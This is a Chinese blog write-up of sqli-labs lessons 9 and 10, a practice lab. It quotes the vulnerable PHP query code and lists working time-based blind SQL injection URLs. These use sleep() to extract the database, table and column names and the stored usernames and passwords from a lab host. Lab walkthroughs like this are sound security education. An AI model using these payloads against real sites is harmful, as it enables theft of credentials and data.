Sqli-labs Less09-10 延时型sql盲注 - GET

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 09: GET - Blind - Time based - Single Quotes

  1. 测试漏洞

    本关我们从标题就可以看到《基于时间-单引号》,所以很明显的这关要我们利用延时注入进行,同时id 参数进行的是’ 的处理。这里我们大致的将延时注入的方法演示一次。

    这里用sleep()函数。

    源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    

    使用 ’ 进行注入

    这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写 payload 了

    (正确的时候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

  2. 延时注入猜测数据库

    (正确的时候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    
    # 得到第一位是s (ascii 码是115)
    
    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
    
    # 得到第一位是e (ascii 码是101)
    

    得出结果,数据库名字是 security

  3. 延时注入猜测security 的数据表

    (正确的时候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
    
    # 得到第一位 e
    
    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,1,sleep(5))--+
    
    # 得到第二位 m
    

    猜测第一个数据表的第一位是e,…依次类推,得到 emails

    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
    
    # 得到第一位 r
    
    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))--+
    
    # 得到第二位 e
    

    猜测第二个数据表的第一位是 r,… 依次类推,得到 referers

    得到所有的数据表 emails, referers, uagents, users

  4. 延时注入猜测 users 表的列

    (正确的时候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117,1,sleep(5))--+
    
    # 得到第一位 u
    
    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=115,1,sleep(5))--+
    
    # 得到第二位 s
    

    猜测第一个数据表的第一位是 u,…依次类推,得到 user_id

    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1))=112,1,sleep(5))--+
    
    # 得到第一位 p
    
    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),2,1))=97,1,sleep(5))--+
    
    # 得到第二位 a
    

    猜测第一个数据表的第一位是 p,…依次类推,得到 password

  5. 延时注入猜测 username 的值

    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
    
    # 得到 username 第一位 D
    

    以此类推,我们得到数据库username,password 的所有内容

    http://10.10.10.137/sqli-labs/Less-9/?id=1'and If(ascii(substr((select password from users limit 0,1),2,1))=117,1,sleep(5))--+
    

    以上的过程就是我们利用 sleep() 函数注入的整个过程,当然了可以离开 BENCHMARK() 函数进行注入,这里可以自行进行测试。我们这里就不进行演示了。

Less - 10: GET - Bind - Time based - Double Quotes

  1. 测试漏洞

    本关我们从标题就可以看到《基于时间-双引号》,所以很明显的这关要我们利用延时注入进行,同时 id 参数进行的是 ” 的处理。和less9 的区别就在于单引号(’)变成了(”)

    这里用sleep()函数。

    源代码

    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    

    使用 ” 进行注入

    这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写 payload 了

    (正确的时候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

  2. 猜测数据库

    (正确的时候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    
    # 得到第一位是s (ascii 码是115)
    
    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
    
    # 得到第一位是e (ascii 码是101)
    

    得出结果,数据库名字是 security

  3. 猜测security 的数据表

    (正确的时候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
    
    # 得到第一位 e
    
    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,1,sleep(5))--+
    
    # 得到第二位 m
    

    猜测第一个数据表的第一位是e,…依次类推,得到 emails

    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
    
    # 得到第一位 r
    
    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))--+
    
    # 得到第二位 e
    

    猜测第二个数据表的第一位是 r,… 依次类推,得到 referers

    得到所有的数据表 emails, referers, uagents, users

  4. 猜测 users 表的列

    (正确的时候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117,1,sleep(5))--+
    
    # 得到第一位 u
    
    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=115,1,sleep(5))--+
    
    # 得到第二位 s
    

    猜测第一个数据表的第一位是 u,…依次类推,得到 user_id

    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1))=112,1,sleep(5))--+
    
    # 得到第一位 p
    
    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),2,1))=97,1,sleep(5))--+
    
    # 得到第二位 a
    

    猜测第一个数据表的第一位是 p,…依次类推,得到 password

  5. 猜测 username 的值

    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
    
    # 得到 username 第一位 D
    

    以此类推,我们得到数据库username,password 的所有内容

    http://10.10.10.137/sqli-labs/Less-10/?id=1"and If(ascii(substr((select password from users limit 0,1),2,1))=117,1,sleep(5))--+
    

    以上的过程就是我们利用 sleep() 函数注入的整个过程,当然了可以离开 BENCHMARK() 函数进行注入,这里可以自行进行测试。我们这里就不进行演示了。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值